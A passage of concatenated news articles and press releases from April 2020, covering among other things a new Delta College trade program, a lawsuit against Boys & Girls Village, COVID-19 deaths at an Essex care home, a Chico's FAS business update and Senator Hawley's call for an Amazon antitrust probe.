technicians, which includes specializing in installing, testing and repairing manufacturing equipment. The Delta College Board of Trustees approved the new major at its Tuesday, April 14 meeting. Students can earn a two-year certificate or associates degree from the program and are required to work an apprenticeship. Delta developed the new degree with input from local companies like Dow Chemical, Michigan Sugar and Hemlock Semiconductor, according to a news release. The College is based in Frankenlust Township in Bay County, with satellite locations in Saginaw and Midland. These companies need instrumentation technicians to control reactions and monitor equipment at its plants and other facilities, said Harvey Schneider, a skilled trades manager at Delta College, in the release. Many of the people working in these positions are retiring or leaving, so they approached us with a need for trained professionals in this specialty trade. Alumni who have worked as electricians have signed up for the new degree, Schneider said in the release. The professions are complementary, but the program is available to all, he said. Gov. Gretchen Whitmer addressed Michigans need for skilled workers in her 2019 State of the State Address. In May 2019 the state invested $3 million to promote the career path, with the goal of meeting an anticipated need for roughly half a million trade jobs by 2026. Read more: Michigan businesses urged to apply quickly as new round of Paycheck Protection Program begins Saginaw school districts approve end-of-year learning plans 103 Flint-area nursing home residents currently fighting coronavirus, 71 in Saginaw area MILFORD An underage girl has sued Boys & Girls Village and a paraprofessional at its Milford school, alleging she was sexually assaulted there in 2018. The girl, known as Jane Doe in the lawsuit, alleges she was restrained and sexually assaulted in August and September 2018 by Ronnie Lee Maebry, causing physical and psychological injuries such as severe emotional distress, anxiety, anguish, depression, guilt, humiliation and sleeplessness, some or all of which will likely be permanent in nature. Maebry was arrested in January after an investigation of alleged sexual assaults at Boys and Girls Village and charged with second-degree sexual assault, fourth-degree sexual assault and two count of risk of injury to a minor, according to past reporting. He was a teachers aide at the time, according to police. Maebry has pleaded not guilty to those charges and is due in court in June. He is free on a promise to appear in court. As a direct cause of the defendants harmful conduct, the plaintiff was required and will continue to require medical, psychiatric and psychological therapy and treatment, attorney R.J. Weber III wrote in the complaint. As a further result of the defendants conduct, the plaintiffs ability to enjoy and engage in lifes activities has been reduced. Boys & Girls Village was negligent in hiring and failing to supervise Maebry, the suit claims. As a result of the negligence of the defendant, Boys & Girls Village, Inc., the plaintiff has suffered extreme trauma, mental anguish and psychological injuries which are permanent in nature, said Weber in the complaint. As a result of said negligence of the defendant ... the plaintiffs childhood and adolescence has been disrupted and destroyed forever. The suit seeks compensatory damages in excess of $15,000 and other relief deemed appropriate by the court. Boys & Girls Village Inc. sought to delay entering a plea in the case earlier this month, requesting more time to investigate the allegations of the Complaint and prepare a defense. In a statement, Kimberly A. Shaunesy, president and CEO of Boys & Girls Village, noted that the organization has instituted changes since becoming aware of the allegations. First and foremost, the well-being of the youth in our care is our primary concern. After learning of the allegations in November 2018, we immediately suspended the employee and removed them from campus. Their employment was terminated soon after, said Shaunesy. Since that time, we have implemented various changes and safeguards designed to ensure the safety and well-being of our students through our employment and screening practices. Boys & Girls Village will continue to cooperate fully with law enforcement and other appropriate authorities. william.lambert@hearstmediact.com Nearly a third of residents at a 22 bed Essex care home have died during the coronavirus pandemic as its boss revealed staff feel under 'tremendous pressure' and fear catching the killer infection. It comes after the care home sector has seen a rapid escalation in the number of deaths with care homes bosses blaming the climbing death toll on a 'reckless stiff broom' policy to send back hundreds of elderly Covid-19 patients to free up hospital beds last week. Director of care at Westcliff Lodge Care Home in Westcliff-on-Sea, Essex, Jenny Smith, revealed the devastating impact coronavirus is having at the care home. Nearly a third of residents at Westcliff Lodge Care Home, Essex, have died during coronavirus outbreak Director of care Jenny Smith revealed devastating impact coronavirus is having at care home 'We're all still adjusting and trying to process the loss,' she told BBC Breakfast on Tuesday morning. 'The loss and the pain and the devastation. We have many people off sick as well with suspected Covid, so we've been under tremendous pressure. 'There's so much fear among the staff because this is a virus that affects people of all ages, and that's a really primary difference really compared to normal influenza outbreaks.' A shock report today revealed the real death toll may be 55 per cent higher than the daily updates given by the Department of Health because they don't include people dying outside of hospitals and don't take into account a lag in how fatalities are recorded. Weekly data collated by the Office for National Statistics shows that there had been 22,351 coronavirus deaths in England and Wales by April 17 - a significant rise on the 14,451 counted by health chiefs. If the same increase - 54.6 per cent - were applied to the total UK death toll confirmed today (21,731) it could mean the real number of victims is in the region of 33,600. ONS data, which is released each week and offers the only true picture on how many people have died outside of hospitals, recorded 3,096 COVID-19 care home deaths by April 17. This was almost triple the 1,043 total announced the week before, with 2,000 new fatalities in the space of a week. The number of people dying with the coronavirus in England and Wales is around 55 per cent higher when non-hospital deaths are included, according to the Office for National Statistics Office for National Statistics shows a difference of 53 per cent between the daily death counts and the backdated information it releases once a week Many of those who die outside of hospitals are not tested for the coronavirus while alive, meaning this data shows Britain's outbreak is much larger than it appears. Some are never officially diagnosed and are only suspected to have had the illness. Last week care home bosses blamed the sector's soaring death toll on government guidance telling hospitals to discharge elderly residents to free up beds. The plan, drafted on March 17, told NHS hospitals that 'timely discharge' was important - and told care homes to accept patients who had not even been tested for coronavirus. On the testing of residents, Jenny Smith added: 'Of course it wasn't timely enough. 'But I feel that's an issue perhaps beyond this country's control because we didn't have the same set-up, say, as Germany. 'Even more importantly, it perhaps wasn't reliable enough because some people were tested twice and had different results.' Source: Xinhua| 2020-04-28 14:04:19|Editor: huaxia Video Player Close UNITED NATIONS, April 27 (Xinhua) -- United Nations Secretary-General Antonio Guterres on Monday called on parties concerned in Yemen to resolve their differences through an inclusive dialogue. "The secretary-general calls on all to engage in an inclusive dialogue to resolve their differences and address the legitimate concerns of all Yemenis, including those of southern groups. He further calls on them to implement the Riyadh Agreement as well as concentrate efforts on countering the spread of COVID-19 and responding to the flooding that has affected tens of thousands of Yemenis," Stephane Dujarric, spokesman for Guterres, told reporters in an email. "The secretary-general reaffirms the need to preserve the integrity of Yemeni institutions and emphasizes that the conflict in Yemen can only be resolved through a negotiated political settlement," said Dujarric. On Sunday, the Yemeni Southern Transitional Council (STC) declared the establishment of a self-ruled administration and a state of emergency in Aden and southern provinces. The Saudi-led coalition called on the STC to cancel its "escalating move" and abide by the Riyadh Agreement, which was reached between the STC and the Yemeni government last year and ended months of stand-off between both sides in Aden. As part of the Arab military coalition that intervened in Yemen in March 2015 to restore power to the government of Yemeni President Abd-Rabbu Mansour Hadi, the STC turned against the Yemeni government in August last year. Enditem David Vetter was born with Severe Combined Immune Deficiency (SCID) in September 1971.. It is a rare disorder that causes victims to be highly susceptible to severe, and sometimes fatal, infections. Vetter was famously known for living his life in a plastic bubble, never touching the outside world. He had no functioning immune system since birth. Simply breathing normal air could have been lethal. Doctors put David inside a plastic bubble seconds after he first drew breath. His parents were hoping the developing bone-marrow transplant could help him build an immune system. His sister, Katherine, volunteered to be the blood donor. Unfortunately, her blood was not a match, forcing the boy to live in the bubble permanently. Life Inside the Bubble David lasted far longer than other bubble babies. People could only reach out to him through plastic gloves attached to his bubble. Everything he received---including food, water, clothing, and even a small television, were sterilized before they were inserted through airlocks. David's parents installed a similar chamber at his parent's house in Texas. In his bubble, he was allowed to go on a trip to a local movie theater. He attended a special screening of "Star Wars: Episode VI - Return of the Jedi." When he was 6-years-old, the NASA gifted him with a special spacesuit. The suit allowed him to walk outside of his chamber. He did, however, remain connected to his bubble via a long tube. He lost interest in the suit after using it seven times. Behind the Lens David Vetter's life was a popular subject in the media. Throughout his life, he had become a star on television. Over time, ethical dilemmas surrounding his hermetic environment started accumulating. A psychologist recalled how, on-camera, David would appear cheerful and happy. However, he was said to have raged at his fate behind the lens. Carol, David's mother, said they believed in the ability of his doctors. She felt grateful for the bubble. Even if it was the only treatment option available, it still gave David twelve years to live. "David's life was full of courage and understanding," she said. "He accepted his circumstances and was willing to wait until there was a way out of his chambers." Death In October 1983, David's doctors decided to try a new bone marrow technique where the blood donor was not required to be a perfect match. Katherine Vetter, his sister, was still the donor, as originally planned. Initially, the procedure showed promising results. However, doctors discovered a dormant and undetected virus in Katherine's marrow---Epstein-Bar. The Epstein-Bar virus is a common human virus that is spread through saliva. It can cause mononucleosis. The virus triggered cancerous tumors in David's body. He was taken out of his bubble and received treatment in a sterile room. For the first time in his life, he received his mother's kiss---the most he has ever been into contact with anyone. On February 22, 1984, David seemingly acknowledged that his death was imminent. The conscious and alert boy made jokes throughout the day and winked at his doctor before slipping into a sedated sleep. At 8 PM, he was pronounced dead. Before his death, David finally felt the touch of a hand unprotected by gloves. His mother also combed his hair. David Vetter was buried in Conroe, a town he never got to experience. In his epitaph, his family wrote, "He never touched the world, but the world was touched by him." Watch his story below: Want to read more? Check these out: Ex-top manager of Vneshprombank ordered to 6-year jail for $454 mln embezzlement RAPSI 18:08 28/04/2020 MOSCOW, April 28 (RAPSI) Moscows Khamovnichesky District Court has sentenced a former deputy president of Vneshprombank Yekaterina Glushakova to 6 years in jail for embezzlimg 33.6 billion rubles ($454 million), the press service of the Prosecutor Generals Office reports. The court has also granted a civil lawsuit filed by the Deposit Insurance Agency seeking to collect over 33.6 billion rubles from the defendant. According to the court ruling, Glushakova was a member of an organized criminal group involving in embezzlement of funds of Vneshprombank whose license was revoked in 2016. Investigators claimed that ex-Vneshprombank president Larisa Markus along with her brother Georgy Bedzhamov, who once co-owned the bank, created an organized crime group to siphon money from the bank. The group including Glushakova allegedly granted loans to sub-companies and did not refund money to Vneshprombank. Company Announces Boutique Reopening Plan for North America FORT MYERS, Fla., April 27, 2020 /PRNewswire/ -- Chico's FAS, Inc. (NYSE: CHS), a leading omnichannel specialty retailer for women that operates Chico's, White House Black Market, Soma and TellTale, today provided a business update and boutique reopening plan from the Company's Chief Executive Officer and President; recent 2020 preliminary sales information; and details on liquidity and cash utilization. Statement from Bonnie Brooks, Chief Executive Officer and President The Chico's FAS Community our customers, our associates and our shareholders are at the center of every decision we make as a company, and during this period of temporary closure of our boutiques, that mindset has not wavered. We continue with our commitment to doing the right thing in our business. As previously announced on April 1, we made the difficult decision to place the majority of our associates on furlough with continued benefits and to temporarily reduce the pay or hours of the majority of our remaining associates, including the entire executive leadership team and Board of Directors by 50%. Our associates in the Distribution Center, which remains fully operational, are receiving full wages to ensure the fulfillment of our healthy digital sales. Across all of our offices and distribution centers, we have implemented enhanced safety protocols that exceed guidelines from public health officials and federal, state and local government. Strong Digital Sales Over the past six weeks, we have seen strong customer demand in our digital channels, including increased traffic and sales on our websites and increased engagement on our social media channels. Chico's FAS digital sales have experienced double digit growth in the six weeks since the company became a digital-only business on March 18, 2020. The Company operates five unique websites for its' brands. Driving this sales growth and double-digit traffic growth are categories of intimates, sleep, cozy, active and lounge. Style Connect and Other Technology Investment Our digital performance shows that we have been well-served by our investments in technology. In mid-March, we equipped our store management with handheld devices that were installed with Style Connect SM, our proprietary digital styling software that enables us to communicate directly with the majority of our customers to drive the frontline business to digital fulfillment. This action resulted in the above-mentioned double digit increases in online sales since the temporary closure of boutiques. Style Connect was designed as a competitive advantage that has further opportunities for increasing sales as we move into our new "post-COVID-19 operating model" as it allows for intimate but distanced connection in a meaningful manner that is resonating with our customers. Stores Reopening Phase to Commence May 4, 2020 Research1, 2, 3 shows our customers' main shopping crossover for all of our categories is with department stores. We believe we will have some significant advantages in the next several months as the majority of our stores are under 3,500 square feet and are located in easily accessible shopping plazas. Due to the smaller size of our boutiques, Chico's FAS has the ability to reopen quickly and safely and to follow enhanced safety precautions. For example, our teams have the ability to manage the number of customers in the stores, provide hand sanitizer and masks to customers, create new flexible distance between clothing racks, and adjust fitting rooms to accommodate social distancing practices. Starting on May 4, we will roll out three phases of reopening our boutiques: first, fulfillment of national orders through stores using store inventories; second, buy-online-pick up in store (BOPIS) including contactless curbside pickup; and third, the introduction of a new shop-by-appointment service for all brands Chico's, Chico's Off the Rack, White House Black Market, White House Black Market Outlet, and Soma. Store openings will be consistent with local health and safety guidelines and regulations. Post COVID-19 Operating Model As the magnitude of the impact of COVID-19 on the women's apparel industry became clearer, we immediately pivoted to a new business plan for 2020 and beyond, assessing and overhauling every function of our business, as well as quickly adjusting operations aligned to digital marketing and distribution. During the past few weeks, we have significantly reduced our weekly cash burn. Our actions have been designed to reduce operating expenses by approximately 30% and we are committed to holding this cost structure for the long term. We have deferred the majority of payables, and are renegotiating all contracts, including real estate. In the first half of last year, the Company faced a significant downward sales trajectory. In the second quarter, I joined the company, changed the majority of our senior leadership team, and worked to immediately overhaul the business. This new team was able to quickly pivot the business with a 9.4% positive swing in sales from Q1, to the end of Q4, posting the first positive comparable sales quarter for the business since 2014, at fiscal year-end February 1, 2020. While todays' challenges are of a greater magnitude, our culture of agility and our ability to grow sales while reducing expenses, which started exactly 12 months ago, has already served us well during this period, and we are confident we have a path forward for the sustainable future of the Company, post COVID-19. Bonnie Brooks CEO and President _______________________________________ 1 Chico's Transformation Customer Profiling 7.17.19 Final Updated (customer file sample) 2 White House Black Market Customer Profiling Study 9.12.19 (customer file sample) 3 Soma Top 3 Intimates Retailers Quick Poll Summary 9.6.19 (research panel sample) Liquidity and Cash Utilization Update Commentary from David Oliver, Interim Chief Financial Officer and Controller Recent Sales Performance The following reflects comparable sales for the periods indicated, in each case compared to the same period in the prior fiscal year. Comparable Sales Performance: The Company's quarterly comparable sales trends showed continuous improvement throughout fiscal 2019 as merchandising initiatives gained traction and customer centric product was introduced. These trends continued during the initial four-weeks of fiscal 2020 when the comparable sales increased 2.7% compared to last year. Fiscal 2019 Reported and Four Weeks Ended February 29, 2020 Demonstrates Sequential Growth 13 Weeks Ended 13 Weeks Ended 13 Weeks Ended 13 Weeks Ended Four Weeks Ended May 4, 2019 August 3, 2019 November 2, 2019 February 1, 2020 February 29, 2020* Total Company -7.00% -6.10% -2.20% 2.20% 2.70% Fiscal 2020 Digital Sales Weeks 1-6 Ended March 14 vs Weeks 7-12 Ended April 25 increased 16 percent* *previously unreported We entered fiscal 2020 on strong financial footing and continue to maintain a heathy liquidity position. As of Monday, April 27, 2020, we had approximately $103 million of cash and cash equivalents on hand. We believe our cash position is meaningfully bolstered by availability under our asset-based credit facility and our ability to borrow against our owned and unencumbered Distribution Center and corporate office facilities. We estimate borrowings on the ABL and leveraging our owned real estate could generate approximately $100 million in additional liquidity. Borrowings under the ABL have no required debt repayments until the ABL matures in August 2023. Additionally, our cash burn is being partially mitigated by our strong digital business during this temporary store closure period as well as meaningful actions we have taken to align the Company's cost structure with current and post COVID-19 sales expectations. Those actions to reduce costs and improve liquidity include: Partnering with landlords, suppliers and vendors to materially reduce operating costs and extend payment terms, including in certain instances withholding payments; Cancelling merchandise receipts to better align inventory with expected market demand; Significantly reducing all elements of selling, general and administrative expenses to better align operating costs with expected sales; Suspending our quarterly dividend, conserving approximately $31 million of cash this fiscal year; and of cash this fiscal year; and Reducing our planned capital expenditures to be primarily maintenance and business essential expenditures. Our cash burn quarter-to-date reflects the payment of the previously approved first quarter fiscal 2020 dividend and the payout under the fiscal 2019 management incentive plan. Under provisions of the Coronavirus Aid, Relief, and Economic Security (CARES) Act, we believe Chico's FAS has the potential to realize a one-time liquidity benefit approximating $95 million based on our current forecast, primarily related to the recovery of previously paid Federal income taxes as well as deferral of social security tax payments, employee retention credits and other tax changes provided for under the CARES Act. We are looking at ways to meaningfully accelerate this liquidity benefit into fiscal 2020 and anticipate a portion will be realized in the second and third quarters. We remain confident in the future of the Company, and its financial position. David Oliver Interim Chief Financial Officer and Controller Earnings Call and Annual General Meeting of Shareholders The Company today announced that its conference call to review first quarter 2020 financial results will be held on June 10, 2020. The Company's 2020 Annual General Meeting of Shareholders scheduled for June 24, 2020 will be held as a virtual meeting. Preliminary Data The estimated 2020 sales data presented in this release is preliminary, is based upon management's current estimates, may not reflect our actual sales performance for the full first quarter of fiscal 2020 or any other completed financial period, and is subject to the completion of our standard procedures for the preparation and completion of our quarterly financial statements. These procedures have not been completed, and we may make further adjustments as a result of developments occurring between now and the time of the financial results as the respective periods are finalized. In addition, estimated sales and cash burn data has been provided to help investors understand and assess the near-term impacts of the COVID-19 pandemic, but is subject to variability and may not be indicative of our results or trends for any full reporting period. ABOUT CHICO'S FAS, INC. Chico's FAS is a Florida-based fashion company founded in 1983 on Sanibel Island, Fla. The Company reinvented the fashion retail experience by creating fashion communities anchored by our Most Amazing Personal Service, which put the customer at the center of everything we do. As one of the leading fashion retailers in North America, Chico's FAS is a company of three unique brands Chico's, White House Black Market and Soma each thriving in their own white space, founded by women, led by women, providing solutions that millions of women say give them confidence and joy. Our Company has a passion for fashion, and each day, we provide clothing, shoes and accessories, intimate apparel and expert styling in our brick-and-mortar boutiques, digital online boutiques and through Style Connect, the Company's proprietary digital styling tool that enables customers to conveniently shop wherever, whenever and however they prefer. As of February 1, 2020, the Company operated 1,341 stores in the U.S. and Canada and sold merchandise through 70 international franchise locations in Mexico and 2 domestic franchise airport locations. The Company's merchandise also is available at www.chicos.com, www.chicosofftherack.com, www.whbm.com, www.soma.com and www.mytelltale.com. To learn more about Chico's FAS, visit www.chicosfas.com. SAFE HARBOR STATEMENT UNDER THE PRIVATE SECURITIES LITIGATION REFORM ACT OF 1995 This press release contains statements that constitute forward-looking statements within the meaning of the Private Securities Litigation Reform Act of 1995. The statements, including without limitation statements made by Ms. Brooks under "Statement from Bonnie Brooks, Chief Executive Officer and President," and Mr. Oliver under "Liquidity and Cash Utilization Update Commentary from David Oliver, Interim Chief Financial Officer and Controller" relate to expectations and projections regarding the Company's future performance and may include the words "anticipate," "believe," "could," "estimate," "expect," "intend," "may," "plan," "outlook," "project," "should," "strategy," "potential" and similar terms. These forward-looking statements are based largely on information currently available to our management and on our current expectations, assumptions, plans, estimates, judgments and projections about our business and our industry, and are subject to risks and uncertainties that could cause actual results to differ materially from historical results or those currently anticipated. Although we believe our expectations are based on reasonable estimates and assumptions, there is no assurance that our expectations will, in fact, occur or that our estimates or assumptions will be correct, and we caution investors and all others not to place undue reliance on such forward-looking statements. Factors that could cause actual results to differ include, but are not limited to: the effects of the COVID-19 pandemic and uncertainties about its depth and duration, as well as the impacts to economic conditions and consumer behavior, including, among others: temporary boutique closures due to government mandates, the unemployment rate, the extent, availability and effectiveness of any COVID-19 stimulus packages or loan programs, and trends in consumer behavior and spending during and after the end of the pandemic; our ability to successfully implement any alternatives that we pursue including our ability to achieve the cost savings described in this release; government actions and policies; increases in unemployment rates and taxes; local, regional, national and international economic conditions; changes in the general economic and business environment; changes in the general or specialty retail or apparel industries, including the extent of the market demand and overall level of spending for women's private branded clothing and related accessories; the effectiveness of our brand strategies, awareness and marketing programs; the ability to successfully execute and achieve the expected results of our business strategies and particular strategic initiatives (including, but not limited to, the Company's revised organizational structure, retail fleet optimization plan and three operating priorities which are driving stronger sales through improved product and marketing; optimizing the customer journey by simplifying, digitizing and extending the Company's unique and personalized service; and transforming sourcing and supply chain operations to increase product speed to market and improve quality), sales initiatives and multi-channel strategies; customer traffic; our ability to appropriately manage our inventory and allocation processes; our ability to leverage inventory management and targeted promotions; the successful recruitment of leadership and the successful integration of new members of our senior management team; uncertainties regarding future unsolicited offers to buy the Company and our ability to respond effectively to them as well as to actions of activist shareholders and others; changes in the political environment that create consumer uncertainty; the risk that our investments in merchandise or marketing initiatives may not deliver the results we anticipate; significant changes to product import and distribution costs (such as unexpected consolidation in the freight carrier industry, and the ability to remain competitive with customer shipping terms and costs pertaining to product deliveries and returns); new or increased taxes or tariffs that could impact, among other things, our sourcing from foreign suppliers; and significant shifts in consumer behavior. Other risk factors are detailed from time to time in the Company's Quarterly Reports on Form 10-Q, Annual Report on Form 10-K and other reports filed with the Securities and Exchange Commission. These factors should be considered in evaluating forwardlooking statements contained herein. There can be no assurance that the actual future results, performance, or achievements expressed or implied by such forward-looking statements will occur. The Company does not undertake to publicly update or revise its forward-looking statements even if experience or future changes make it clear that projected results expressed or implied in such statements will not be realized. Chico's FAS, Inc. 11215 Metro Parkway Fort Myers, Florida 33966 (239) 277-6200 Investor Relations Contact: Tom Filandro ICR, Inc. (646) 277-1235 Media Relations Contact: Pashen Black Director of Corporate Public Relations (239) 218-3388 SOURCE Chico's FAS, Inc. Related Links http://www.chicos.com missouri Senator Josh Hawley is urging the Justice Department to open a criminal probe of Amazon.com Inc, saying the online retailer was building a monopoly using 'predatory data practices' on vendors using its platform. Hawley, a Republican who has been critical of big tech platforms like Alphabet's Google, expressed concern about a report in the Wall Street Journal that Amazon collects data about products sold by third parties on its site in order to create Amazon branded copies, saying it went far beyond what brick and mortar stores are able to do. 'I write to ask you to open a criminal antitrust investigation of Amazon. Recent reports suggest that Amazon has engaged in predatory and exclusionary data practices to build and maintain a monopoly,' Hawley wrote in a letter to Attorney General William Barr that was dated Tuesday. Republican Missouri Senator Josh Hawley (pictured) expressed concern over Amazon's alleged improper use of third-party seller data in a letter to the Justice Department on Tuesday Hawley's letter was in response to a Wall Street Journal report which claimed that Amazon uses third-party seller information to design and sell competing products under its house label The big four tech platforms - Google, Apple, Amazon and Facebook - are under investigation by the House Judiciary Committee and Justice Department while the Federal Trade Commission is probing Facebook and Amazon. Meanwhile, groups of state attorneys general are looking at Facebook and Google. Hawley noted that the practice was 'especially concerning' given that many small retailers have been forced to temporarily shutter their stores and have become more reliant on online sales because of public health measures ordered to slow the spread of the new coronavirus. Amazon said in a statement that it 'strictly prohibit(s) employees from using non-public, seller-specific data to determine which private label products to launch'. 'While we don't believe these claims made by the Wall Street Journal are accurate, we take these allegations very seriously and have launched an internal investigation,' an Amazon spokesperson said in an email statement. A Justice Department spokesman said that it had received the letter and was reviewing it. The Wall Street Journal report published last week was based on claims from former employees and internal documents. The unauthorized practice of using third-party seller information to design and sell competing items goes against Amazon's policies and even conflicts with what the company has told Congress. 'We don't use individual seller data directly to compete' with businesses on the company's platform, Nate Sutton, an Amazon associate general counsel told lawmakers in July. An Amazon spokesperson denied the allegations in the WSJ report in a statement to DailyMail.com, saying: 'We strictly prohibit employees from using non-public, seller-specific data to determine which private label products to launch.' The spokesperson said that while the company does not believe the claims are accurate, 'we take these allegations very seriously and have launched an internal investigation.' They added that it is 'incorrect to say that Amazon was intentionally misleading in our testimony,' to Congress. The practice of using seller data goes against what the company has told Congress. 'We don't use individual seller data directly to compete' with businesses on the company's platform, Nate Sutton, an Amazon associate general counsel told lawmakers in July Amazon's private label business includes 45 brands that sell about 243,000 products, from AmazonBasics batteries to Stone & Beam furniture. Those products, the company says, account for only 1 percent of its $158billion in annual retail sales. That total doesn't include Amazon devices such as the Echo personal assistant speaker, Kindle e-reader and Ring doorbell camera. More than 20 former employees from Amazon's private-label business have come forward accusing the retailer of using the third party data, which also was mentioned internal company documents, reports the Journal. Such information can be used to help decide what features to copy off a rival's product, or whether it is even worth entering the segment. The data also may help in determining a house-brand product's earning potential, say people who are familiar with the practice, including a current employee and former ones. In one example, employees allegedly used information gleaned from a top-selling third-party vendor's car-trunk organizer, including total sales and how much the seller paid Amazon for marketing and shipping costs on each sale. A similar product was later rolled out under an Amazon private label. Amazon employees used information gleaned from a top-selling third-party vendor's car-trunk organizer (pictured), including total sales and how much the seller paid Amazon for marketing and shipping costs on each sale A similar product was later rolled out under an Amazon private label 'Like other retailers, we look at sales and store data to provide our customers with the best possible experience,' the company said in a written statement. 'However, we strictly prohibit our employees from using nonpublic, seller-specific data to determine which private label products to launch.' Amazon last year came under investigation by the European Union's top antitrust enforcer, who said it was looking into the company's dual role of selling house brand products and operating a third-party marketplace at the same time. The investigation was specifically looking into whether Amazon was gaining a competitive advantage. Congressional members, along with Justice Department and Federal Trade Commission officials, are also conducting antitrust investigations of Amazon and other large technology firms. Amazon specifically is being looked at whether it is using its size and platform as an advantage over vendors on its site. The company has disputed the claim. Amazon says it has rules restricting house-brand executives from tapping its independent seller data. But former employees and a current worker told the Journal that such rules aren't uniformly enforced. The former employees said there were ways of getting around the rules, and that it was even common to discuss using the data at meetings they attended. 'We knew we shouldn't,' said a former staffer who had access to the data. 'But at the same time, we are making Amazon branded products, and we want them to sell.' Some executives reportedly had access to data containing proprietary information that they used to research best-selling items they might want to compete against, including on individual sellers on Amazon's website. If they were denied access, the executives could request a report with the information from the company's analysts, say the former workers. Other times, aggregated data from an individual seller could be used, the former employees say. Aggregated data, according to Amazon, is derived from two or more sellers. Because of the scale of Amazon's marketplace, some products may have multiple vendors. Amazon said employees can view data collected when a product has only one seller, and the retailer sells returned or damaged versions of the product on clearance. The family of father-of-seven Gerald Hackford have appealed a decision to let only five people go to his funeral due to COVID-19 Seven siblings have been left to make the 'heartbreaking' decision over which of them can go to their dad's funeral after coronavirus rules stipulated only five of them can attend. Single dad Gerald Hackford died at the age of 72 from a heart blockage on April 16, just hours after cheerfully speaking to his loved ones over the phone the night before. Now his grieving family, who are planning the funeral, say the local council have ruled that, because of the coronavirus crisis, only five people will be able to attend the service. Gerald's heartbroken daughter Geraldine West, 49, said: 'How are we supposed to make this decision? Who will go, who won't? 'He was a single dad who, amazingly, brought all seven children up himself. We should all be there. We owe that to him, at least.' Geraldine's family have appealed the decision, which she says was made by Sheffield City Council, but have been told if more than five people try and attend the funeral it won't go ahead. She added: 'We're aware of the seriousness of the pandemic and are willing to take extra steps by masking up and wearing gloves. 'We'll stand away from each other if we can all be there for dad like he was there for us.' Following coronavirus outbreak, government issued new rules surrounding funerals and the people who can attend - a move designed to help stop the spread of the disease. It is understood that the maximum number of mourners differs according to region. Health chiefs have instructed that the only people who should attend funerals are: members of the deceased person's household; close family members or if they cannot attend, close friends; a celebrant of choice if the bereaved have requested it. Hackford (top left), died aged 72, and is mourned by (from left to right) Geraldine, Steven, Paul, Donna, Marika, Melissa and Michelle, but they say a council ruling means only five can attend Geraldine and her siblings, who are from Sheffield, want to have their dad cremated at the council-run City Road Cemetery within the next week. Paying tribute to Gerald, a former steelworker who made zimmer frames for the city's hospitals, Geraldine said: 'He was the most outgoing man you could ever meet. 'He'd argue with anyone, but then it would go over his head and he'd be your best mate the next day. 'He wasn't one to hold a grudge and was always there for his children, grandchildren and great grandchildren. Every one of them.' She added: 'That night (he died) he spoke to some of us on the phone. He went to bed happy, but he never woke up. We are all devastated.' As well as seven children, Gerald also leaves behind 33 grandchildren and 25 great grandchildren. Geraldine said: 'We were a big family, and dad was loved by all.' In response to the family, Mary Lea, Cabinet Member for Culture, Parks and Leisure at Sheffield City Council, said: 'Firstly I offer my deepest condolences to all the family. 'Following instruction from the Government, we carried out risk assessments and took guidance from our Director of Public Health, on how we can continue to allow funerals to take place while making sure staff and mourners are safe, and that we limit the potential spread of coronavirus. We therefore took the very difficult decision to limit the number of mourners at a funeral to five. 'We are trying to get the right balance between being humane and limiting the spread of infection. I am aware that other authorities, and private crematorium providers in Sheffield, have applied different restrictions to funerals, some allowing more, some less and some none at all. I cannot make comment on other's decisions and I completely understand that to some our precautions may feel too extreme, but we are doing this to save lives. What are the rules on attending funerals? Public Health England has issued guidelines for the management of safe funerals during the coronavirus pandemic. The advice includes: Those who have symptoms of coronavirus COVID-19 must not attend and must stay at home Limiting the numbers in attendance to as low as possible to ensure safe social distancing. Numbers can be determined by the size and circumstance of the venue Observing social distancing guidance across all aspects of attending a funeral People who are extremely clinically vulnerable can attend with measures put in place to reduce their risk People self-isolating because someone in their household is ill may attend if they do not have symptoms themselves Health chiefs also instructed that the only people who should attend funerals are: members of the deceased person's household; close family members or if they cannot attend, close friends; a celebrant of choice if the bereaved have requested it. No specific number of attendees has been set by the Government but venue managers can impose limits on the maximum number of people attending. Source: Gov.UK Advertisement 'Just a small spread can start clusters of cases and clusters can quickly lead to wider spread, this in turn can have an impact on vulnerable individuals and create even more pressure on the NHS. 'Our approach means we can offer all families a funeral for their loved ones, whether they have chosen a burial or cremation. To make an exception, in any case, undermines the restrictions that are in place for everyone across the city. 'I can only imagine how hard this is for the family. We are genuinely sorry for this, and for all bereaved families in Sheffield at this time, and I want to reiterate that this decision has not been taken lightly. 'Should the family choose to use the council's funeral services we will work with them to make sure this is as comforting as it can possibly be while keeping everyone safe. We are also currently considering how we can help bereaved families to hold a celebration of life later in the year when national guidelines allow for this.' Geraldine's frustrations come after four children of former Newport city councillor Mozadul Hussain were unable to attend his funeral due to similar restrictions. Retired restaurant owner and city councillor Hussain, 63, died after more than two weeks in hospital at the Royal Gwent Hospital in south Wales and the respected former Lib Dem councillor is mourned by seven children - Shalinah, 40, Amina, 37, Kamal, 34, Malek, 31, Anisha, 23, Rizwan, 12, and Nafeesa, 10. But due to limitations on the number of people who could attend, the father-of-seven could only have five people attend the service in south Wales. The Nigerian government has declared Friday, May 1, as public holiday to mark this years International Workers Day. A statement signed by the Permanent Secretary of the Ministry of Interior, Georgina Ehuriah, on Monday, said the Minister, Rauf Aregbesola, made the declaration on behalf of the Federal Government. In the statement, Mr Aregbesola commended Nigerian workers for their resilience, patience and understanding, particularly in their support of the President Muhammadu Buhari Administrations efforts at stemming the spread of COVID-19 pandemic in the country. The International Workers Day, also known as Workers Day, Labour Day, or May Day, is marked every May 1. It is a celebration of labourers and the working class and is promoted by the International Labour Movement. This years May Day comes at a time the world is combating the deadly COVID-19 pandemic that has kept economies across the globe locked down. Mr Aregbesola thanked Nigerians and the workers for their sacrifices in the present period of trial by coronavirus, saying their commitment and patience will complement the efforts being made by the government and other stakeholders to ensure the speedy control of the virus. He said that with the cooperation of every citizen, as well as strict adherence to the measures being put in place by relevant authorities, the challenges being faced by Nigerians as a result of the disease would soon be put behind, the statement said. He expressed optimism that the economy of the country will rebound and be stronger after the COVID-19 experience. While taking cognizance of the various economic stabilisation efforts of the Federal government, he called on Nigerians to remain calm and be hopeful. Mr Aregbesola wished all Nigerian workers a peaceful May Day Celebration. The NPP aspiring parliamentary candidate for Yendi constituency, Alhaji Farouk Aliu Mahama has paid a courtesy call on the National Chief Imam, Sheikh Dr. Osmanu Nuhu Sharubutu at his residence in Accra to celebrate his birthday in a grand move to receive the benediction of the almighty Allah. As part of the celebration of his birthday yesterday, which coincided with Ramadan, Alhaji Farouk Aliu Mahama donated items in support of the observance of the holy month. The donated items comprised of 50 bags of sugar, 50 boxes of water, 10 cartons of milk, 10 cartons of milo, 50 bags of sachet water and an undisclosed whopping sum towards the activities of the month-long 